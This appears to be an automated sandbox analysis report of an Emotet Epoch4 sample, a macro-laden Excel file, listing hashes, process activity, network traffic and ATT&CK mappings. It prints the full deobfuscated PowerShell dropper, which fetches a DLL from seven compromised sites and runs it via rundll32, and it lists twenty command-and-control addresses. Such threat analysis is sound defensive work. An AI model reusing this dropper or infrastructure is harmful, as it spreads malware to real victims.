emotet | ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3

General

Target

865663204559_17_Nov_2021.xlsm
Size

44KB
MD5

477fd718bb764ffe3c5afde16c6c8dd2
SHA1

eb932e19d95f88d64270d40cdc0b92c6d1cf63be
SHA256

ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3
SHA512

f7d0451ca3670179cc93a680b99f8982204c43054c55eb479c38dc8ea0ba6ba5b6ebea4508569091c07d95a759841455605e6daeab445146b29fc1af377ba267

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

1
$dfkj = $strs = "https://evgeniys.ru/sap-logs/D6/", "http://crownadvertising.ca/wp-includes/OxiAACCoic/", "https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/", "http://immoinvest.com.br/blog_old/wp-admin/luoT/", "https://yoho.love/wp-content/e4laFBDXIvYT6O/", "https://www.168801.xyz/wp-content/6J3CV4meLxvZP/", "https://www.pasionportufuturo.pe/wp-content/XUBS/"
2
foreach ($st in $strs) {
3
  $r1 = get-random
4
  $r2 = get-random
5
  $tpth = "C:\\ProgramData\\\\" + $r1 + ".dll"
6
  invoke-webrequest -uri $st -outfile $tpth
7
  if (test-path $tpth) {
8
    $fp = "C:\\Windows\\SysWow64\\rundll32.exe"
9
    $a = $tpth + ",f" + $r2
10
    start-process "C:\\Windows\\SysWow64\\rundll32.exe" -argumentlist $a
11
    break
12
  }
13
}
14
invoke-expression $dfkj
15

URLs

exe.dropper

https://evgeniys.ru/sap-logs/D6/

exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/

exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/

exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/

exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/

exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Extracted

Family

emotet

Botnet

Epoch4

C2

91.200.186.228:443

191.252.196.221:8080

94.177.248.64:443

66.42.55.5:7080

103.8.26.103:8080

185.184.25.237:8080

103.8.26.102:8080

178.79.147.66:8080

58.227.42.236:80

45.118.135.203:7080

103.75.201.2:443

195.154.133.20:443

45.142.114.231:8080

212.237.5.209:443

207.38.84.195:8080

104.251.214.46:8080

212.237.17.99:8080

212.237.56.116:7080

216.158.226.206:443

110.232.117.186:8080

eck1.plain

1
-----BEGIN PUBLIC KEY-----
2
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuw
3
TyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TIIEJgLTuqzx+58sdg==
4
-----END PUBLIC KEY-----

ecs1.plain

1
-----BEGIN PUBLIC KEY-----
2
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9Xoov
3
pqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSPBghxjZdDxY+Q==
4
-----END PUBLIC KEY-----

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1868	4024	cmd.exe	68

suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 3 IoCs

flow	pid	Process
26	2416	powershell.exe
32	2416	powershell.exe
44	3188	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1808	rundll32.exe
680	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Bxachutoyjs\unzedrunujmobju.rov	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4024	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
3188	rundll32.exe
3188	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4024	EXCEL.EXE
4024	EXCEL.EXE
4024	EXCEL.EXE
4024	EXCEL.EXE
4024	EXCEL.EXE
4024	EXCEL.EXE
4024	EXCEL.EXE
4024	EXCEL.EXE
4024	EXCEL.EXE
4024	EXCEL.EXE
4024	EXCEL.EXE
4024	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4024 wrote to memory of 1868	4024	EXCEL.EXE	70
PID 4024 wrote to memory of 1868	4024	EXCEL.EXE	70
PID 1868 wrote to memory of 2416	1868	cmd.exe	72
PID 1868 wrote to memory of 2416	1868	cmd.exe	72
PID 2416 wrote to memory of 1808	2416	powershell.exe	74
PID 2416 wrote to memory of 1808	2416	powershell.exe	74
PID 2416 wrote to memory of 1808	2416	powershell.exe	74
PID 1808 wrote to memory of 680	1808	rundll32.exe	75
PID 1808 wrote to memory of 680	1808	rundll32.exe	75
PID 1808 wrote to memory of 680	1808	rundll32.exe	75
PID 680 wrote to memory of 1516	680	rundll32.exe	76
PID 680 wrote to memory of 1516	680	rundll32.exe	76
PID 680 wrote to memory of 1516	680	rundll32.exe	76
PID 1516 wrote to memory of 3188	1516	rundll32.exe	77
PID 1516 wrote to memory of 3188	1516	rundll32.exe	77
PID 1516 wrote to memory of 3188	1516	rundll32.exe	77

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\865663204559_17_Nov_2021.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2416
  - - C:\Windows\SysWow64\rundll32.exe
      "C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\2082074918.dll,f256876290
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1808
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\2082074918.dll",Control_RunDLL
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:680
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bxachutoyjs\unzedrunujmobju.rov",QnYEvEaWkGYXF
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1516
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Bxachutoyjs\unzedrunujmobju.rov",Control_RunDLL
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3188

Network

DNS

time.windows.com

Remote address:

8.8.8.8:53

Request

time.windows.com

IN A

Response

time.windows.com

IN CNAME

twc.trafficmanager.net

twc.trafficmanager.net

IN A

40.119.148.38
DNS

evgeniys.ru

powershell.exe

Remote address:

8.8.8.8:53

Request

evgeniys.ru

IN A

Response

evgeniys.ru

IN A

159.253.18.185
DNS

crownadvertising.ca

powershell.exe

Remote address:

8.8.8.8:53

Request

crownadvertising.ca

IN A

Response

crownadvertising.ca

IN A

209.124.90.7
GET

http://crownadvertising.ca/wp-includes/OxiAACCoic/

powershell.exe

Remote address:

209.124.90.7:80

Request

GET /wp-includes/OxiAACCoic/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.15063.0
Host: crownadvertising.ca
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Mon, 22 Nov 2021 14:52:51 GMT
Server: Apache
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Mon, 22 Nov 2021 14:52:51 GMT
Content-Disposition: attachment; filename="aoSbYZ.dll"
Content-Transfer-Encoding: binary
Set-Cookie: 619baec372a01=1637592771; expires=Mon, 22-Nov-2021 14:53:51 GMT; Max-Age=60; path=/
Upgrade: h2,h2c
Connection: Upgrade, Keep-Alive
Last-Modified: Mon, 22 Nov 2021 14:52:51 GMT
Keep-Alive: timeout=5, max=100
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
GET

https://91.200.186.228/YqsbUCnLRVkcHeu

rundll32.exe

Remote address:

91.200.186.228:443

Request

GET /YqsbUCnLRVkcHeu HTTP/1.1
Cookie: CHeeBoZsSXJd=D2SVt9gbcJ2TNRE279N5LPJT41jGL11LYgJx07BajJldlUc5+W/yQGRsI3wl+tjiJ6nuwYuPWTkPAlLFqSJvlK9a7Q0tC8LVdmtksORbgViB+IEt3Am1ZGtIMvkAMGOAd0kLjGyJwydfR9TbAnEIjFRazN9AJhHg0TuI1glUGsVBW0VallnnvdzHYMpFeHl6O/M11V9P2gkjgQTjw9Se8ADDGQ/gyf+/kapZ4cMJYyH+wjgUUMWR6ZHj
Host: 91.200.186.228
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Mon, 22 Nov 2021 14:46:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

52.109.8.20:443

322 B
7
159.253.18.185:443

evgeniys.ru

tls

powershell.exe

668 B
5.0kB
9
8
209.124.90.7:80

http://crownadvertising.ca/wp-includes/OxiAACCoic/

http

powershell.exe

4.8kB
266.7kB
100
186

HTTP Request

GET http://crownadvertising.ca/wp-includes/OxiAACCoic/

HTTP Response

200
91.200.186.228:443

https://91.200.186.228/YqsbUCnLRVkcHeu

tls, http

rundll32.exe

1.0kB
2.6kB
8
7

HTTP Request

GET https://91.200.186.228/YqsbUCnLRVkcHeu

HTTP Response

200

8.8.8.8:53

time.windows.com

dns

62 B
114 B
1
1

DNS Request

time.windows.com

DNS Response

40.119.148.38
40.119.148.38:123

time.windows.com

ntp

76 B
1
8.8.8.8:53

evgeniys.ru

dns

powershell.exe

57 B
73 B
1
1

DNS Request

evgeniys.ru

DNS Response

159.253.18.185
8.8.8.8:53

crownadvertising.ca

dns

powershell.exe

65 B
81 B
1
1

DNS Request

crownadvertising.ca

DNS Response

209.124.90.7

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1808-359-0x0000000010000000-0x0000000010028000-memory.dmp

Filesize
160KB

Download
memory/2416-299-0x000002364D503000-0x000002364D505000-memory.dmp

Filesize
8KB

Download
memory/2416-300-0x000002364D506000-0x000002364D508000-memory.dmp

Filesize
8KB

Download
memory/2416-333-0x000002364D508000-0x000002364D509000-memory.dmp

Filesize
4KB

Download
memory/2416-298-0x000002364D500000-0x000002364D502000-memory.dmp

Filesize
8KB

Download
memory/4024-118-0x00007FF7F8C10000-0x00007FF7F8C20000-memory.dmp

Filesize
64KB

Download
memory/4024-132-0x00007FF7F5D90000-0x00007FF7F5DA0000-memory.dmp

Filesize
64KB

Download
memory/4024-125-0x000001CDE3620000-0x000001CDE3622000-memory.dmp

Filesize
8KB

Download
memory/4024-124-0x000001CDE3620000-0x000001CDE3622000-memory.dmp

Filesize
8KB

Download
memory/4024-123-0x000001CDE3620000-0x000001CDE3622000-memory.dmp

Filesize
8KB

Download
memory/4024-122-0x00007FF7F8C10000-0x00007FF7F8C20000-memory.dmp

Filesize
64KB

Download
memory/4024-121-0x00007FF7F8C10000-0x00007FF7F8C20000-memory.dmp

Filesize
64KB

Download
memory/4024-120-0x00007FF7F8C10000-0x00007FF7F8C20000-memory.dmp

Filesize
64KB

Download
memory/4024-119-0x00007FF7F8C10000-0x00007FF7F8C20000-memory.dmp

Filesize
64KB

Download
memory/4024-131-0x00007FF7F5D90000-0x00007FF7F5DA0000-memory.dmp

Filesize
64KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v6

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Downloads

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